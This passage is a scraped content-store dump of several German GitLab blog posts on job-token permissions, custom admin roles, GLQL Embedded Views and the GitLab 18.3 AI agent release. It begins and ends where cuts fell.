Drittanbieter-Tools verbunden sind.\n\nUnser [Compliance-Center](https://docs.gitlab.com/user/compliance/compliance_center/) bietet einen zentralen Ort für Teams, um ihre Compliance-Standards, Compliance-Berichte, Verstöße und Compliance-Frameworks für ihre Gruppe zu verwalten. Dieser einheitliche Ansatz für das Compliance-Management ist besonders wertvoll für Organisationen in stark regulierten Branchen, in denen Audit-Trails und Compliance-Dokumentation kritisch sind.\n\n## Nähe zur Open-Source-Community\n\n**Die besten Tools werden von den Menschen geprägt, die sie nutzen.** Unser Engagement für Open Source und die Zusammenarbeit mit unserer Community ist seit unserer Gründung Kern von GitLab. Beispielsweise ist unser [Co-Create-Programm](https://about.gitlab.com/community/co-create/) eine kollaborative Initiative, die es Kund(inn)en ermöglicht, direkt mit GitLab-Ingenieur(inn)en zusammenzuarbeiten, um Funktionen, Fixes und Verbesserungen zur GitLab-Plattform beizutragen.\n\nUnser Transparenzwert bleibt grundlegend für unser Geschäft. Ein Beispiel dafür ist unser [offener Issue-Tracker](https://gitlab.com/groups/gitlab-org/-/issues), in dem Kund(inn)en unseren Fortschritt verfolgen und direkt mit dem GitLab-Team in Diskussionen über Verbesserungsmöglichkeiten unseres Produkts eintreten können. Wir haben kürzlich unsere [Healthy Backlog Initiative](https://about.gitlab.com/de-de/blog/inside-gitlabs-healthy-backlog-initiative/) gestartet, um Kund(inn)en noch größere Einblicke in unsere Planung zu geben und ihr Feedback an Stellen mit der größten Wirkung zu lenken.\n\nUnser Ansatz ermöglicht es Organisationen, zu Open-Source-Innovation beizutragen und davon zu profitieren, während sie die Governance, Audit-Trails und Sicherheitskontrollen beibehalten, die für regulierte Umgebungen erforderlich sind.\n\n## Daten-Governance: Die Daten, die Kontrolle\n\n**Vollständige Kontrolle über Daten und deren Verarbeitung bleibt erhalten.** Daten-Governance ist zu einem immer kritischeren Faktor bei Unternehmensentscheidungen geworden, angetrieben durch ein komplexes Netz nationaler und regionaler Datenschutzgesetze und wachsende Bedenken über die Kontrolle sensibler geistiger Eigentumsrechte – wie Quellcode, Kundeneinblicke, strategische Initiativen und Wettbewerbsinformationen.\n\nMit GitLab kann verwaltet werden, wer Zugang zu KI-gestützten Funktionen innerhalb der Plattform hat, was über einfache Zugriffskontrollen hinausgeht und Verschlüsselungsstandards und Audit-Funktionen umfasst, die auf regulatorische Frameworks ausgerichtet sind. Außerdem werden Code und Daten von Kund(inn)en niemals zum Training von KI-Modellen verwendet.\n\n## Die Wahl ist klar\n\nGitLab führt weiterhin bei KI-nativer DevSecOps-Plattform-Innovation – unsere jüngste [18.3-Version](https://about.gitlab.com/de-de/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering/) zeigt dies – während wir den Unabhängigkeits- und Transparenzverpflichtungen treu bleiben, die uns immer geleitet haben.\n\nKund(inn)en haben eine Wahl und sie ist klar: Kontrolle behalten vs. Anbieterabhängigkeit; Transparenz vs. Unsicherheit; Engagement für Innovation vs. Launen des größeren Ökosystems.\n\nGitLab bietet die Grundlage für nachhaltige digitale Transformation, die Innovation mit Unabhängigkeit ausbalanciert und dabei hilft, Geschäftswert für Kund(inn)en zu erzielen.\n\n[GitLab Ultimate mit GitLab Duo heute kostenlos testen.](https://about.gitlab.com/de-de/free-trial/)",[679,787,680,745,913],"open source","https://res.cloudinary.com/about-gitlab-com/image/upload/v1756500636/wmey6kqzzuhirk88w2de.png",{"featured":92,"template":682,"slug":916},"why-enterprise-independence-matters-more-than-ever-in-devsecops","content:de-de:blog:why-enterprise-independence-matters-more-than-ever-in-devsecops.yml","Why Enterprise Independence Matters More Than Ever In Devsecops","de-de/blog/why-enterprise-independence-matters-more-than-ever-in-devsecops.yml","de-de/blog/why-enterprise-independence-matters-more-than-ever-in-devsecops",{"_path":922,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":923,"content":926,"config":933,"_id":935,"_type":16,"title":936,"_source":17,"_file":937,"_stem":938,"_extension":20},"/de-de/blog/fine-grained-job-tokens-ga",{"title":924,"description":925},"Granulare Job Token Berechtigungen sind jetzt verfügbar","GitLab ermöglicht granulare Berechtigungen für CI/CD Job Tokens und erhöht die Sicherheit der Software-Supply-Chain.",{"title":924,"description":925,"authors":927,"heroImage":804,"date":930,"category":847,"tags":931,"body":932},[928,929],"Alex Mark","Joe Randazzo","2025-08-26",[270],"[CI/CD](https://about.gitlab.com/de-de/topics/ci-cd/) Pipelines erben oft überprivilegierte Berechtigungen von Benutzerkonten, was erhebliche Sicherheitsrisiken birgt, wenn Pipelines kompromittiert oder Tokens geleakt werden. [GitLab 18.3](https://about.gitlab.com/releases/2025/08/21/gitlab-18-3-released/) führt granulare Berechtigungen für Job Tokens ein, um dieses Problem zu lösen, und überführt diese Sicherheitsverbesserung von Beta zu allgemeiner Verfügbarkeit.\n\nDiese Funktion ermöglicht es Maintainern, granulare Berechtigungen zu implementieren, die den Job-Token-Zugriff auf API-Ressourcen kontrollieren. Gemäß dem [Principle of Least Privilege](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/) haben diese Job Tokens keinerlei Zugriffsmöglichkeit auf API-Ressourcen, bis explizit Berechtigungen erteilt werden.\n\nDiese erste Version umfasst granulare Berechtigungen für die folgenden Ressourcen:\n\n* Repositories\n* Deployments\n* Environments\n* Jobs\n* Packages\n* Pipelines\n* Releases\n* Secure Files\n* Terraform State\n\nZusätzliche API-Endpunkte sind für zukünftige Releases geplant. Weitere Informationen finden sich im [zugehörigen Epic](https://gitlab.com/groups/gitlab-org/-/epics/6310).\n\n![Beispiel für granulare Berechtigungen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755633419/izgwpj45oxoof0frvhap.png)\n\n## Das Gesamtbild\n\nDiese Version stellt einen wichtigen Schritt in GitLabs übergeordneter Mission dar, die Sicherheit der Software-Supply-Chain zu verbessern. Historisch waren Job Tokens an den oder die Benutzer(in) gebunden, der oder die die Pipeline ausführt, wodurch bestehende Privilegien weitergegeben wurden und Sicherheitsrisiken entstanden, wenn Pipelines kompromittiert wurden.\n\nGranulare Berechtigungen für Job Tokens bieten eine Grundlage für ein sichereres CI/CD-Ökosystem, das:\n\n* **Die Angriffsfläche reduziert**: Implementiert das Principle of Least Privilege durch Beschränkung des Zugriffs auf nur notwendige Ressourcen\n* **Die Abhängigkeit von langlebigen Tokens eliminiert**: Bietet eine sichere Alternative, die den Bedarf an persönlichen Zugriffstokens und anderen persistenten Anmeldedaten reduziert\n* **Auf maschinenbasierte Identität vorbereitet**: Dieser Opt-in-Ansatz legt den Grundstein dafür, Job Tokens perspektivisch vollständig von Benutzeridentitäten zu entkoppeln und sich in Richtung echter Machine-to-Machine-Authentifizierung zu bewegen\n* **Sichere Automatisierung im großen Maßstab ermöglicht**: Unterstützt komplexe Deployment-Workflows und CI/CD-Komponenten ohne Kompromisse bei der Sicherheit\n\n## Erste Schritte\n\nSecurity-Teams und DevOps-Ingenieure sollten diese Funktion für alle Projekte evaluieren, die automatisierte Deployments, Package-Veröffentlichungen oder Infrastructure Management durchführen. Da es sich um eine Opt-in-Funktion handelt, kann die Migration schrittweise erfolgen, um Störungen bestehender Pipelines zu minimieren.\n\nBeginne damit, die kritischsten Pipelines zu identifizieren und deren aktuelle Berechtigungsanforderungen zu prüfen. Aktiviere dann granulare Berechtigungen und konfiguriere den minimalen Zugriff, der für jedes Projekt benötigt wird. Weitere Informationen finden sich in der [Dokumentation zu granularen Berechtigungen für CI/CD Job Tokens](https://docs.gitlab.com/ci/jobs/fine_grained_permissions/).",{"slug":934,"featured":6,"template":682},"fine-grained-job-tokens-ga","content:de-de:blog:fine-grained-job-tokens-ga.yml","Fine Grained Job Tokens Ga","de-de/blog/fine-grained-job-tokens-ga.yml","de-de/blog/fine-grained-job-tokens-ga",{"_path":940,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":941,"content":945,"config":951,"_id":953,"_type":16,"title":954,"_source":17,"_file":955,"_stem":956,"_extension":20},"/de-de/blog/custom-admin-roles-now-ga",{"config":942,"title":943,"description":944},{"noIndex":6},"Custom Admin Roles sind jetzt allgemein verfügbar","GitLab unterstützt granulare Berechtigungen im Admin-Bereich und reduziert damit den Bedarf an vollprivilegierten Administratoren.",{"heroImage":763,"body":946,"authors":947,"updatedDate":890,"date":948,"title":943,"tags":949,"description":950,"category":680},"GitLab führt granulare Berechtigungen für den Admin-Bereich in GitLab Self-Managed und GitLab Dedicated Instanzen ein. Diese Custom Admin Roles ermöglichen es Organisationen, das [Principle of Least Privilege](https://about.gitlab.com/blog/the-ultimate-guide-to-least-privilege-access-with-gitlab/) für ihre Instanzen umzusetzen und gleichzeitig die operative Effizienz zu erhalten. Ähnlich wie Custom Roles für Gruppen und Projekte bieten Custom Admin Roles detaillierte Berechtigungen zur Kontrolle des Zugriffs auf den Admin-Bereich.\n\nDiese granularen Admin-Berechtigungen ermöglichen es Organisationen, zweckgebundene administrative Rollen zu erstellen, anstatt Benutzern vollständigen Administratorzugang zu gewähren. Mögliche Anwendungsfälle umfassen:\n\n- **Platform Team:** Zugriff auf Runner-Management, Instanz-Monitoring und Performance-Metriken\n- **Support Team:** Zugriff auf User-Management und Troubleshooting-Workflows\n- **Leadership Team:** Zugriff auf Dashboards, Nutzungsstatistiken und Lizenzierung\n\n![Custom Admin Role](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756121189/xnnoyowwutlbxu9unho5.png)\n\n## Funktionen\n- **Granulare Berechtigungen:** Custom Permissions ermöglichen es, eine Rolle zu erstellen, die den spezifischen Anforderungen entspricht.\n- **Management auf Instanzebene:** Custom Admin Roles werden zentral erstellt und verwaltet.\n- **LDAP-Integration:** Unterstützung für die Zuweisung großer Benutzergruppen zu Rollen über Directory-Server.\n- **Audit-Integration:** Funktioniert mit dem bestehenden [Admin-Modus](https://docs.gitlab.com/administration/settings/sign_in_restrictions/#admin-mode) und Audit-Events.\n\n![Custom Admin Role](https://res.cloudinary.com/about-gitlab-com/image/upload/v1756121190/wedoc6gi4upivvjezyeu.png)\n\n## Mission: Die Sicherheit der Software-Supply-Chain verbessern\nDiese Funktion stellt einen wichtigen Schritt in GitLabs übergeordneter Mission dar, die Sicherheit der Software-Supply-Chain zu verbessern. Als Teil dieser Mission hat GitLab auch Custom Roles für Projekte und Gruppen sowie [granulare Berechtigungen für CI/CD Job Tokens](https://docs.gitlab.com/ci/jobs/fine_grained_permissions/) hinzugefügt.\n\nWeitere Informationen zu Custom Admin Roles finden sich unter [Custom Roles](https://docs.gitlab.com/user/custom_roles/). Zusätzliche Berechtigungen sind für zukünftige Releases geplant. Um Feedback zu teilen, siehe das [Custom Roles Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/509376).\n",[929],"2025-08-25",[680,745],"GitLab unterstützt ab sofort granulare Berechtigungen im Admin-Bereich und reduziert damit den Bedarf an vollprivilegierten Administratoren.",{"featured":6,"slug":952,"template":682},"custom-admin-roles-now-ga","content:de-de:blog:custom-admin-roles-now-ga.yml","Custom Admin Roles Now Ga","de-de/blog/custom-admin-roles-now-ga.yml","de-de/blog/custom-admin-roles-now-ga",{"_path":958,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":959,"content":964,"config":977,"_id":979,"_type":16,"title":980,"_source":17,"_file":981,"_stem":982,"_extension":20},"/de-de/blog/embedded-views-the-future-of-work-tracking-in-gitlab",{"config":960,"ogImage":961,"title":962,"description":963},{"noIndex":6},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1750099072/Blog/Hero%20Images/Blog/Hero%20Images/agile_agile.png_1750099072322.png","Embedded Views: Die Zukunft des Work Tracking in GitLab","So machen Embedded Views Teams effizienter, fördern datengesteuerte Entscheidungen und bieten Transparenz in Workflows.",{"heroImage":961,"body":965,"authors":966,"updatedDate":970,"date":971,"title":962,"tags":972,"description":975,"category":976},"Kommt dir das bekannt vor? Du wechselst ständig zwischen Tabs in GitLab, nur\num den\n\nÜberblick zu behalten, was in deinem Projekt passiert? Vielleicht prüfst du\n\neine Issue, springst dann zu einem Merge Request und dann zu einem Epic, um\n\nzu sehen, wie alles zusammenhängt. Ehe du dich versiehst, ist dein Browser\n\nvoller Tabs und du hast den roten Faden verloren.\n\n\nKeine Sorge, du stehst nicht alleine da. Viele Teams verschwenden Zeit und Energie damit, zwischen verschiedenen Elementen in ihrer Projektverwaltungssoftware hin und her zu springen, nur um den Überblick über ihre Arbeit zu behalten.\n\n\nDeshalb haben wir [Embedded Views](https://docs.gitlab.com/user/glql/#embedded-views) entwickelt, angetrieben von [GitLab Query Language (GLQL)](https://docs.gitlab.com/user/glql/). Mit Embedded Views, [verfügbar ab 18.3](https://about.gitlab.com/releases/2025/08/21/gitlab-18-3-released/), erhältst du Live-Informationen genau dort, wo du bereits in GitLab arbeitest. Kein endloses Kontextwechseln mehr. Keine veralteten Berichte mehr. Nur die Informationen, die du brauchst, genau dann, wenn du sie brauchst.\n\n\n## Warum Embedded Views wichtig sind\n\n\nEmbedded Views sind mehr als nur ein neues Feature – sie stellen eine grundlegende Veränderung dar, wie Teams ihre Arbeit in GitLab verstehen und verfolgen. Mit Embedded Views können Teams den Kontext beibehalten, während sie auf Echtzeitinformationen zugreifen, gemeinsames Verständnis schaffen und die Zusammenarbeit verbessern, ohne ihren aktuellen Workflow zu verlassen. Es geht darum, die Arbeitsverfolgung natürlich und mühelos zu gestalten, damit Sie sich auf das Wesentliche konzentrieren können.\n\n\n## So funktioniert's: Echtzeitdaten genau dort, wo sie am meisten gebraucht werden\n\n\nMit Embedded Views kannst du Live-GLQL-Abfragen in Markdown-Codeblöcken in Wiki-Seiten, Epics, Issues und Merge Requests einfügen. Das macht sie so nützlich:\n\n\n### Immer aktuell\n\n\nGLQL-Abfragen sind dynamisch und rufen bei jedem Seitenladen frische Daten ab. Deine Embedded Views spiegeln also immer den aktuellen Zustand deiner Arbeit wider, nicht den Zustand beim Einbetten der Ansicht. Wenn Änderungen an Issues, Merge Requests oder Milestones auftreten, zeigt eine Seitenaktualisierung diese Updates in Ihrer Embedded View an.\n\n\n### Kontextbezogenes Bewusstsein\n\n\nVerwende Funktionen wie `currentUser()` und `today()`, um Abfragen kontextspezifisch zu machen. Deine Embedded Views passen sich automatisch an, um relevante Informationen für die jeweilige Person anzuzeigen, die sie betrachtet, und schaffen so personalisierte Erlebnisse ohne manuelle Konfiguration.\n\n\n### Leistungsstarke Filterung\n\n\nFilter nach Feldern wie Zuweisenden, Autor(inn)en, Label, Milestone, Gesundheitsstatus, Erstellungsdatum und mehr. Verwende logische Ausdrücke, um genau die gewünschten Daten zu erhalten. Wir unterstützen mehr als 30 Felder ab Version 18.3.\n\n\n### Anpassbare Anzeige\n\n\nDu kannst deine Daten als Tabelle, Liste oder nummerierte Liste anzeigen. Wähle, welche Felder angezeigt werden sollen, lege ein Limit für die Anzahl der Elemente fest und gib die Sortierreihenfolge an, um deine Ansicht fokussiert und handlungsorientiert zu halten.\n\n\n### Verfügbarkeit\n\n\nDu kannst Embedded Views in Gruppen- und Projekt-Wikis, Epic- und Issue-Beschreibungen, Merge Requests und Kommentaren verwenden. GLQL ist in allen GitLab-Stufen verfügbar: Free, Premium und Ultimate, auf GitLab.com, GitLab Self-Managed und GitLab Dedicated. Bestimmte Funktionen wie die Anzeige von Epics, Status, benutzerdefinierten Feldern, Iterationen und Gewichtungen sind in den Stufen Premium und Ultimate verfügbar. Die Anzeige des Gesundheitsstatus ist nur in Ultimate verfügbar.\n\n\n## Embedded Views in Aktion erleben\n\n\nDie Syntax einer Embedded View-Quelle ist eine Obermenge von YAML. Sie besteht aus:\n\n\n* Dem `query`-Parameter: Ausdrücke, die mit einem logischen Operator wie `and` verbunden werden.\n\n* Parametern für die Präsentationsebene wie `display`, `limit` oder `fields`, `title` und `description`,\n  dargestellt als YAML.\n\nEine View wird in Markdown als Codeblock definiert, ähnlich wie andere Codeblöcke wie Mermaid.\n\n\nZum Beispiel:\n\n\n> Zeige eine Tabelle der ersten 5 offenen Issues an, die dem authentifizierten Benutzer in `gitlab-org/gitlab` zugewiesen sind.\n\n>\n\n> Zeige die Spalten `title`, `state`, `health`, `description`, `epic`, `milestone`, `weight` und `updated`.\n\n\n````yaml\n\n```glql\n\n\ndisplay: table\n\n\ntitle: GLQL-Tabelle 🎉\n\n\ndescription: Diese Ansicht listet meine offenen Issues auf\n\n\nfields: title, state, health, epic, milestone, weight, updated\n\n\nlimit: 5\n\n\nquery: project = \"gitlab-org/gitlab\" AND assignee = currentUser() AND state = opened\n\n\n```\n\n````\n\n\nDiese Quelle sollte eine Tabelle wie die folgende rendern:\n\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755193172/ibzfopvpztpglnccwrjj.png)\n\n\nEine einfache Möglichkeit, erste Embedded View zu erstellen, besteht darin, zum Dropdown-Menü **Weitere Optionen** in der Rich-Text-Editor-Symbolleiste zu navigieren. Wähle dort **Embedded View** aus, wodurch folgende Abfrage in einem Markdown-Codeblock eingefügt wird:\n\n\n````yaml\n\n```glql\n\n\nquery: assignee = currentUser()\n\n\nfields: title, createdAt, milestone, assignee\n\n\ntitle: Mir zugewiesene Issues\n\n\n```\n\n````\n\n\nSpeicher deine Änderungen im Kommentar oder in der Beschreibung, wo der Codeblock erscheint, und schon bist du fertig! Du hast erfolgreich deine erste Embedded View erstellt!\n\n\n## Wie GitLab Embedded Views nutzt\n\n\nOb wir Merge Requests für Security-Releases nachverfolgen, Bugs zur Verbesserung der Backlog-Hygiene triagieren oder Team-Onboarding und Milestone-Planung verwalten – wir verlassen uns täglich bei geschäftskritischen Prozessen auf Embedded Views. Dies ist nicht nur ein Feature, das wir entwickelt haben, es ist ein Tool, auf das wir uns verlassen, um unser Geschäft effektiv zu führen. Wenn du Embedded Views einführst, erhältst du eine getestete Lösung, die GitLab-Teams bereits dabei hilft, effizienter zu arbeiten, datengesteuerte Entscheidungen zu treffen und die Transparenz über komplexe Workflows hinweg zu wahren. Einfach ausgedrückt: Embedded Views können verändern, wie dein Team auf die Arbeit zugreift und sie analysiert, die für deinen Erfolg am wichtigsten ist.\n\n\nUm mehr darüber zu erfahren und zu sehen, wie GitLab Embedded Views intern nutzt, schaue dir [How GitLab measures Red Team impact: The adoption rate metric](https://about.gitlab.com/blog/how-gitlab-measures-red-team-impact-the-adoption-rate-metric/) und Global Search Release Planning Issues für die Milestones [18.1](https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/239), [18.2](https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/241) und [18.3](https://gitlab.com/gitlab-org/search-team/team-tasks/-/issues/245) an.\n\n\n## Was kommt als Nächstes\n\n\nEmbedded Views sind nur der Anfang der Vision der [Knowledge Group](https://about.gitlab.com/direction/plan/knowledge/) für die Arbeitsverfolgung. Erfahre mehr über unsere nächsten Schwerpunkte im [Embedded Views Post-GA Epic](https://gitlab.com/groups/gitlab-org/-/epics/15249). Während sich Embedded Views weiterentwickeln, wollen wir sie noch leistungsfähiger und [zugänglicher](https://gitlab.com/gitlab-org/gitlab/-/issues/548722) zu machen.\n\n\n## Teile deine Erfahrungen\n\n\nTeile uns dein Feedback mit im [Embedded Views GA Feedback Issue](https://gitlab.com/gitlab-org/gitlab/-/issues/509792). Egal ob du innovative Anwendungsfälle entdeckt hast, auf Herausforderungen gestoßen bist oder Verbesserungsideen hast – wir wollen von dir hören.\n",[967,968,969],"Matthew Macfarlane","Himanshu Kapoor","Alex Fracazo","2025-09-11","2025-08-21",[973,746,974],"agile","workflow","So machen Embedded Views Teams effizienter, fördern datengesteuerte Entscheidungen und bieten Transparenz in Workflows. Alles mit GitLab Query Language.","agile-planning",{"featured":6,"template":682,"slug":978},"embedded-views-the-future-of-work-tracking-in-gitlab","content:de-de:blog:embedded-views-the-future-of-work-tracking-in-gitlab.yml","Embedded Views The Future Of Work Tracking In Gitlab","de-de/blog/embedded-views-the-future-of-work-tracking-in-gitlab.yml","de-de/blog/embedded-views-the-future-of-work-tracking-in-gitlab",{"_path":984,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":985,"content":989,"config":995,"_id":997,"_type":16,"title":998,"_source":17,"_file":999,"_stem":1000,"_extension":20},"/de-de/blog/gitlab-13-expanding-ai-orchestration-in-software-engineering",{"config":986,"title":987,"description":988},{"noIndex":6},"GitLab 18.3: KI-Orchestrierung revolutioniert die Softwareentwicklung","So wird die Zusammenarbeit zwischen Mensch und KI durch verbesserte Flows, Enterprise Governance und nahtlose Tool-Integration transformiert.",{"title":987,"description":990,"authors":991,"heroImage":992,"date":971,"body":993,"category":677,"tags":994},"So transformierst du das Zusammenspiel von Mensch und KI durch verbesserte Flows, Enterprise Governance und nahtlose Tool-Integration.",[740],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1755711502/wuuadis1pza3zehqohcc.png","GitLab ist heute eine umfassende DevSecOps-Plattform, die alle Phasen des Software-Lebenszyklus vereint. Auf dieser Grundlage entwickeln wir uns zur weltweit ersten KI-nativen Plattform für Software Engineering. Bei GitLab sind wir überzeugt: Die Zukunft der Softwareentwicklung liegt im reibungslosen Zusammenspiel von Mensch und KI. Wir bringen die besten KI-Funktionen zu allen GitLab-Nutzerinnen und -Nutzern.\n\nDiese Transformation erfolgt auf drei unterschiedlichen Ebenen, die weit über das hinausgehen, was andere KI-Entwicklungstools bieten:\n\n![KI-native Transformationsfolie, die das Folgende visualisiert](https://res.cloudinary.com/about-gitlab-com/image/upload/v1755762266/iwuugge3cxweiyvi0yjk.png)\n\n**Erstens sind wir ein System of Record.** Die einheitliche Datenplattform speichert die wertvollsten digitalen Assets. Dazu gehören Quellcode und geistiges Eigentum sowie eine Fülle unstrukturierter Daten, die Projektpläne, Bug-Backlogs, CI/CD-Konfigurationen, Deployment-Historien, Sicherheitsberichte und Compliance-Daten umfassen. Dies schafft einen Datenschatz an Kontextinformationen, der sicher in der GitLab-Umgebung verbleibt und für generische Agenten oder große Sprachmodelle unzugänglich ist.\n\n**Zweitens fungieren wir als Software-Control-Plane.** Wir orchestrieren die kritischsten Geschäftsprozesse über Git-Repositories, REST-APIs und Webhook-basierte Schnittstellen, die die End-to-End-Software-Lieferung antreiben. Viele Kunden betrachten dies als Tier-0-Abhängigkeit, auf die sich ihre geschäftskritischen Prozesse täglich verlassen.\n\n**Drittens bieten wir eine leistungsstarke Benutzererfahrung.** Wir liefern eine integrierte Oberfläche, die den kostspieligen Kontextwechsel eliminiert, der die meisten Entwicklungsteams verlangsamt. Mit vollständiger Lifecycle-Transparenz und Kollaborationstools in einer Plattform verlassen sich über 50 Millionen registrierte Nutzende und die riesige Community auf GitLab, um ihre Arbeit zu erledigen. Diese Expertise positioniert GitLab einzigartig, um eine intuitive Mensch-zu-KI-Zusammenarbeit zu ermöglichen, die die Teamproduktivität steigert und gleichzeitig die bewährten Workflows bewahrt.\n\n**Erweiterung der Plattform mit nativ integrierter KI auf allen Ebenen**\n\nDie [GitLab Duo Agent Platform](https://about.gitlab.com/de-de/gitlab-duo/agent-platform/) integriert und erweitert alle drei dieser Ebenen. Sie ist auf Erweiterbarkeit und Interoperabilität ausgelegt und ermöglicht es Kunden und Partnern, Lösungen zu entwickeln, die noch mehr Wert schaffen. Der offene Plattformansatz betont die nahtlose Konnektivität mit externen KI-Tools und -Systemen, während gleichzeitig eine tiefe Integration in den bestehenden Stack auf allen drei Ebenen gewährleistet wird.\n\n* Erstens erweitern wir die einheitliche Datenplattform um einen **Knowledge Graph**, der Code mit allen anderen unstrukturierten Daten indiziert und verknüpft, speziell optimiert für den agentischen Zugriff. KI lebt von Kontext, und wir glauben, dass dies nicht nur die Schlussfolgerungen und Inferenzen von Agenten beschleunigt, sondern auch kostengünstigere und qualitativ hochwertigere agentische Ergebnisse liefert.\n* Zweitens fügen wir der bestehenden Control Plane eine wichtige **Orchestration Layer** in drei verschiedenen Teilen hinzu: Agenten und Flows können sich als Abonnenten für GitLab SDLC-Events registrieren, wir bauen eine neue Orchestrierungs-Engine, die speziell entwickelte Multi-Agenten-Flows ermöglicht, und wir stellen GitLab-Tools, Agenten und Flows über MCP und Standardprotokolle für beispiellose Interoperabilität zur Verfügung.\n* Schließlich erweitern wir die **GitLab-Erfahrung**, um erstklassige Agenten und Agenten-Flows über den gesamten Software-Entwicklungslebenszyklus bereitzustellen. Sie können asynchrone Aufgaben an Agenten zuweisen, sie in Kommentaren mit @ erwähnen und benutzerdefinierte Agenten mit spezifischem Kontext für Ihre Workflows erstellen – aber noch wichtiger: GitLab liefert native Agenten für jede Entwicklungsphase und erschließt gleichzeitig ein reiches Ökosystem von Drittanbieter-Agenten. Dies schafft eine echte Mensch-zu-KI-Zusammenarbeit, bei der Agenten genauso natürlich zu bedienen sind wie menschliche Teammitglieder.\n\nSieh dir dieses Video an, um zu erfahren, was in 18.3 und darüber hinaus kommt, oder lies weiter.\n\n\u003Cdiv style=\"padding:75% 0 0 0;position:relative;\">\u003Ciframe src=\"https://player.vimeo.com/video/1111796316?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"GitLab_18.3 Release_081925_MP_v1\">\u003C/iframe>\u003C/div>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n## Neu in GitLab 18.3\n\nMit 18.2 haben wir spezialisierte [KI-Agenten](https://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-public-beta/#agents-that-work-out-of-the-box:~:text=Agents%20that%20work%20out%20of%20the%20box) eingeführt, die Entwicklern über den gesamten Software-Entwicklungslebenszyklus hinweg zur Seite stehen, sowie unseren [Software Development Flow](\u003Chttps://about.gitlab.com/de-de/blog/gitlab-duo-agent-platform-public-beta/#agents-that-work-out-of-the-box:~:text=we%20are%20building%3A-,Software%20Development%20Flow,-(now%20in%20beta>) – eine leistungsstarke Funktion, die Nutzenden die Möglichkeit gibt, mehrere Agenten zu orchestrieren, um Code-Änderungen End-to-End zu planen, zu implementieren und zu testen.\n\nGitLab 18.3 führt erweiterte Integrationen und Interoperabilität, mehr Flows und verbesserte Kontextwahrnehmung über den gesamten Software-Entwicklungslebenszyklus ein.\n\n### Erweiterte Integrationen und Interoperabilität\n\nWir bieten umfassende KI-Erweiterbarkeit sowohl durch erstklassige GitLab-Agenten als auch durch ein reiches Ökosystem von Drittanbieter-Agenten, alle mit vollem Zugriff auf Projektkontext und -daten. Dieser Ansatz erhält native GitLab-Workflows und Governance und bietet gleichzeitig die Flexibilität, bevorzugte Tools durch hochintegrierte Orchestrierung zwischen diesen Agenten und der GitLab-Kernplattform zu wählen. Teams erhalten erweiterte KI-Funktionalität bei gleichzeitiger Beibehaltung wichtiger Integrations-, Überwachungs- und Benutzererfahrungsvorteile.\n\n* **MCP-Server - Universelle KI-Integration:** Der GitLab MCP-Server ([Model Context Protocol](https://about.gitlab.com/de-de/topics/ai/model-context-protocol/)) ermöglicht es KI-Systemen, sich sicher direkt in GitLab-Projekte und Entwicklungsprozesse zu integrieren. Diese standardisierte Schnittstelle eliminiert den Aufwand für benutzerdefinierte Integrationen und ermöglicht es KI-Tools – einschließlich [Cursor](https://docs.cursor.com/en/tools/mcp) –, intelligent innerhalb der bestehenden GitLab-Umgebung zu arbeiten. Siehe unsere [Dokumentation](https://docs.gitlab.com/user/gitlab_duo/model_context_protocol/mcp_server/) für eine vollständige Liste der in 18.3 enthaltenen Tools. **Dies ist erst der Anfang; weitere Tools sind für 18.4 geplant.**\n\n  **Hinweis:** Drittanbieter-Agenten sind GitLab Premium Beta-Funktionen und nur für GitLab Duo Enterprise-Kunden zur Evaluierung verfügbar.\n\n> *\"GitLab-Workflows direkt in Cursor zu bringen, ist ein entscheidender Schritt zur Reduzierung von Reibung für Entwickler. Durch die Minimierung des Kontextwechsels können Teams den Issue-Status überprüfen, Merge Requests einsehen und Pipeline-Ergebnisse überwachen, ohne jemals ihre Programmierumgebung zu verlassen. Diese Integration ist eine natürliche Ergänzung für unsere gemeinsamen Kunden, und wir freuen uns auf eine langfristige Partnerschaft mit GitLab, um die Entwicklerproduktivität weiter zu steigern.\"*\n>\n> \\- **Ricky Doar, VP of Field Engineering bei Cursor**\n>\n> *\"Der MCP-Server und die CLI-Agent-Unterstützung von GitLab schaffen leistungsstarke neue Wege für die Integration von Amazon Q in Entwicklungsworkflows. Amazon Q Developer kann sich jetzt direkt über die Remote-MCP-Schnittstelle von GitLab verbinden, während Teams Entwicklungsaufgaben delegieren können, indem sie Amazon Q CLI einfach in Issues und Merge Requests mit @ erwähnen. Die robusten Sicherheits- und Governance-Funktionen, die in diese Integrationen integriert sind, geben Unternehmen das Vertrauen, KI-Coding-Tools zu nutzen und gleichzeitig ihre Entwicklungsstandards zu bewahren. Die Partnerschaft mit GitLab zeigt das kontinuierliche Engagement von AWS, das KI-Ökosystem zu erweitern und intelligente Entwicklungstools überall dort zugänglich zu machen, wo Entwickler arbeiten.\"*\n>\n> \\- **Deepak Singh, Vice President of Developer Agents and Experiences bei AWS**\n\n* **CLI-Agent-Unterstützung für Claude Code, Codex, Amazon Q, Google Gemini und opencode (Bring Your Own Key):** 18.3 führt Integrationen ein, die es Teams ermöglichen, routinemäßige Entwicklungsarbeit zu delegieren, indem sie ihre Agenten direkt in Issues oder Merge Requests mit @ erwähnen. Wenn Entwickler diese KI-Assistenten erwähnen, lesen sie automatisch den umgebenden Kontext und Repository-Code und antworten dann auf den Kommentar des Nutzers entweder mit überprüfungsreifen Code-Änderungen oder Inline-Kommentaren. Diese Integrationen erfordern einen eigenen API-Schlüssel für die jeweiligen KI-Anbieter und halten alle Interaktionen nativ innerhalb der GitLab-Oberfläche, während gleichzeitig 